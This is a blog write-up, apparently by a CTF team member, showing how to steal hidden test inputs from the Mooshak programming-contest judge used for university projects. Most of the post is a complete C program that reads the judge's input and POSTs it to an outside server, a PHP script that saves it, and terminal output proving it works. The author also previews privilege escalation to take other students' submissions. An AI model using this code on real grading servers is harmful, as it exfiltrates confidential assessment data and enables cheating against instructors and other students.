[Web] Mooshak - Stealing private tests from mooshak

A long time ago in a secret meme group far far away I did find this:



This meme made me giggle straight way, not because of the meme itself but the message “If we only could do this”, back in the day I already how to do it but never tested it out in a live server for obvious reasons and lets make it clear IST projects nowadays are so easy we don’t really need have to cheat.

Finally decided to do a write up about this, I downloaded mooshak and installed on a VM machine and created a c contest. I don’t really consider this an attack or a hack, if we were talking about games we could easily say this was “clever use of game mechanics”, as you know most of the project contests in IST have this basic idea to run tests:

1
2
Input -> Receives the input of a specific test into your program.
Output -> Compares the output of your project and server output (this is what determines whether you passed or not a test).

As we know we are going to read the input into memory, since we can control the code and what is running, we just need to find a way to sent the information out to ourselves, one way to do this is by using GET or POST requests:



The GET request has a limit of 8192 bytes so in a bigger input test you won’t be able to send the entire test so I recommend to use a POST , writing the code necessary in c to do this is quite challenging but in another languages like python, lisp or even prolog is quite simple, speaking about the endpoint that are going to receive our requests you either write in php or any other language.

The test.c file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
#define _DEFAULT_SOURCE
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <ctype.h>

int create_tcp_socket();
char *get_ip(char *host);
char *build_get_query(char *host, char *page);
void usage();
char *join_strings();
int http_request(int argc, char **argv, char* path, char* method);
char *build_post_query(char *host, char *page, char* post_data);

#define HOST "127.0.0.1"
#define PAGE "/wtf.php"
#define PORT 80
#define USERAGENT "HTMLGET 1.0"

char *url_encode(char *str);

/* GET request limit is 8192 bytes we could try a post request but would be to heavy to ther server with 1 million nodes*/
int main(int argc, char **argv) {

char *str;
char c;
int i = 0;
int size = 16;
http_request(3, argv, url_encode("---------------"), "post");
str = (char*) malloc(sizeof(char)*size + 1);
while ((c = getchar()) != EOF) {
str[i++]=c;
if (i == size) {
str = realloc(str, sizeof(char)*(size+=16));
}
}
str[i++]='\0';
http_request(3, argv, url_encode(str), "post");
free(str);
return 0;
}

/* Converts a hex character to its integer value */
char from_hex(char ch) {
return isdigit(ch) ? ch - '0' : tolower(ch) - 'a' + 10;
}

/* Converts an integer value to its hex character*/
char to_hex(char code) {
static char hex[] = "0123456789abcdef";
return hex[code & 15];
}

/* Returns a url-encoded version of str */
/* IMPORTANT: be sure to free() the returned string after use */
char *url_encode(char *str) {
char *pstr = str, *buf = malloc(strlen(str) * 3 + 1), *pbuf = buf;
while (*pstr) {
if (isalnum(*pstr) || *pstr == '-' || *pstr == '_' || *pstr == '.' || *pstr == '~')
*pbuf++ = *pstr;
else if (*pstr == ' ')
*pbuf++ = '+';
else
*pbuf++ = '%', *pbuf++ = to_hex(*pstr >> 4), *pbuf++ = to_hex(*pstr & 15);
pstr++;
}
*pbuf = '\0';
return buf;
}

/* Returns a url-decoded version of str */
/* IMPORTANT: be sure to free() the returned string after use */
char *url_decode(char *str) {
char *pstr = str, *buf = malloc(strlen(str) + 1), *pbuf = buf;
while (*pstr) {
if (*pstr == '%') {
if (pstr[1] && pstr[2]) {
*pbuf++ = from_hex(pstr[1]) << 4 | from_hex(pstr[2]);
pstr += 2;
}
} else if (*pstr == '+') {
*pbuf++ = ' ';
} else {
*pbuf++ = *pstr;
}
pstr++;
}
*pbuf = '\0';
return buf;
}

int http_request(int argc, char **argv, char* path, char* method) {
struct sockaddr_in *remote;
int sock;
int tmpres;
char *ip;
char *get;
char buf[BUFSIZ+1];
/*char webpage[1000];*/
char *host = HOST;
char *page;
int sent = 0;
int htmlstart = 0;
char * htmlcontent;

if(argc == 1){
usage();
exit(2);
}

host = HOST;
if (strcmp("get", method) == 0)
page = join_strings(PAGE, url_encode(path));
else
page = PAGE;
sock = create_tcp_socket();
ip = get_ip(host);
fprintf(stderr, "IP is %s\n", ip);
remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
remote->sin_family = AF_INET;
tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
if( tmpres < 0) {
exit(1);
} else if(tmpres == 0) {
fprintf(stderr, "%s is not a valid IP address\n", ip);
exit(1);
}
remote->sin_port = htons(PORT);

if(connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0){

exit(1);
}
if (strcmp(method, "get") == 0)
get = build_get_query(host, page);
else
get = build_post_query(host, page, path);

fprintf(stderr, "Query is:\n<<START>>\n%s<<END>>\n", get);

/*Send the query to the server*/
sent = 0;
while(sent < strlen(get)) {
tmpres = send(sock, get+sent, strlen(get)-sent, 0);
if(tmpres == -1) {

exit(1);
}
sent += tmpres;
}
/*now it is time to receive the page*/
memset(buf, 0, sizeof(buf));
htmlstart = 0;
while((tmpres = recv(sock, buf, BUFSIZ, 0)) > 0) {
if(htmlstart == 0) {
/* Under certain conditions this will not work.
* If the \r\n\r\n part is splitted into two messages
* it will fail to detect the beginning of HTML content
*/
htmlcontent = strstr(buf, "\r\n\r\n");
if(htmlcontent != NULL) {
htmlstart = 1;
htmlcontent += 4;
}
} else {
htmlcontent = buf;
}
if(htmlstart) {
fprintf(stdout, htmlcontent);
}

memset(buf, 0, tmpres);
}
free(get);
free(remote);
free(ip);
close(sock);
return 0;
}


void usage() {
fprintf(stderr, "USAGE: htmlget host [page]\n\
\thost: the website hostname. ex: coding.debuntu.org\n\
\tpage: the page to retrieve. ex: index.html, default: /\n");
}


int create_tcp_socket() {
int sock;
if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
exit(1);
}
return sock;
}


char *get_ip(char *host) {
struct hostent *hent;
int iplen = 15; /*XXX.XXX.XXX.XXX*/
char *ip = (char *)malloc(iplen+1);
memset(ip, 0, iplen+1);
if((hent = gethostbyname(host)) == NULL) {

exit(1);
}
if(inet_ntop(AF_INET, (void *)hent->h_addr_list[0], ip, iplen) == NULL) {
exit(1);
}
return ip;
}

char *build_get_query(char *host, char *page) {
char *query;
char *getpage = page;
char *tpl = "GET /%s HTTP/1.0\r\nHost: %s\r\nUser-Agent: %s\r\n\r\n";
if(getpage[0] == '/') {
getpage = getpage + 1;
fprintf(stderr,"Removing leading \"/\", converting %s to %s\n", page, getpage);
}
/* -5 is to consider the %s %s %s in tpl and the ending \0 */
query = (char *)malloc(strlen(host)+strlen(getpage)+strlen(USERAGENT)+strlen(tpl)-5);
sprintf(query, tpl, getpage, host, USERAGENT);
return query;
}

char *build_post_query(char *host, char *page, char *post_data) {
char *query;
char *getpage = page;
char* url_encoded = url_encode(post_data);
int length_data = strlen(url_encoded)+1;
char *tpl = "POST /%s HTTP/1.0\r\nHost: %s\r\nUser-Agent: %s\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\n\r\nfield1=%s\r\n";
if(getpage[0] == '/') {
getpage = getpage + 1;
fprintf(stderr,"Removing leading \"/\", converting %s to %s\n", page, getpage);
}
/* -5 is to consider the %s %s %s in tpl and the ending \0 */

query = (char *)malloc(strlen(host)+strlen(getpage)+strlen(USERAGENT)+ strlen(tpl) + strlen(url_encoded) + 33 - 7);
sprintf(query, tpl, getpage, host, USERAGENT, length_data+1, url_encoded);
return query;
}

char *join_strings(char *one, char *two) {
char *tpl = "%s%s";
char *query;
query = (char *)malloc(strlen(one)+strlen(two)+1);
sprintf(query, tpl, one, two);
return query;
}

And the php file (named as wtf.php in this example)

1
2
3
4
5
<?php
if( isset($_POST['field1']) ) {
file_put_contents("input.txt", urldecode($_POST['field1']));
}
?>

As you can see above this is just a php script which writes the output from POST parameter into a file named input.txt that you need to create on your server too.
So lets test this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ gcc -O3 -ansi -Wall test.c -lm -o test
$ cat input
1 1
2 1
3 1
2 4
1 4
$ ./test < input
./test < input
IP is 127.0.0.1
Removing leading "/", converting /wtf.php to wtf.php
Query is:
<<START>>
POST /wtf.php HTTP/1.0
Host: 127.0.0.1
User-Agent: HTMLGET 1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

field1=---------------
<<END>>
IP is 127.0.0.1
Removing leading "/", converting /wtf.php to wtf.php
Query is:
<<START>>
POST /wtf.php HTTP/1.0
Host: 127.0.0.1
User-Agent: HTMLGET 1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

field1=1%2b1%250a2%2b1%250a3%2b1%250a2%2b4%250a1%2b4%250a%250a
<<END>>

And now checking the server files:

1
2
3
4
5
6
7
8
9
10
$ pwd
/var/www/html
$ ls
index.cgi input.txt wtf.php
$ cat input.txt
1 1
2 1
3 1
2 4
1 4

And we can see it works perfectly like this you can steal any private test input from mooshak. You may be asking if there is a way to get the output as well and the answer for now is actually no, but I’m currently researching a way to do this and I can say I’m very near to actually do it and if successful I can not only get the test outputs but the other user project submissions as well, the process to do this is an actual hack which involves privilege escalation so stay tuned for more posts.

If you liked this post please follow us in twitter and consider joining our CTF team.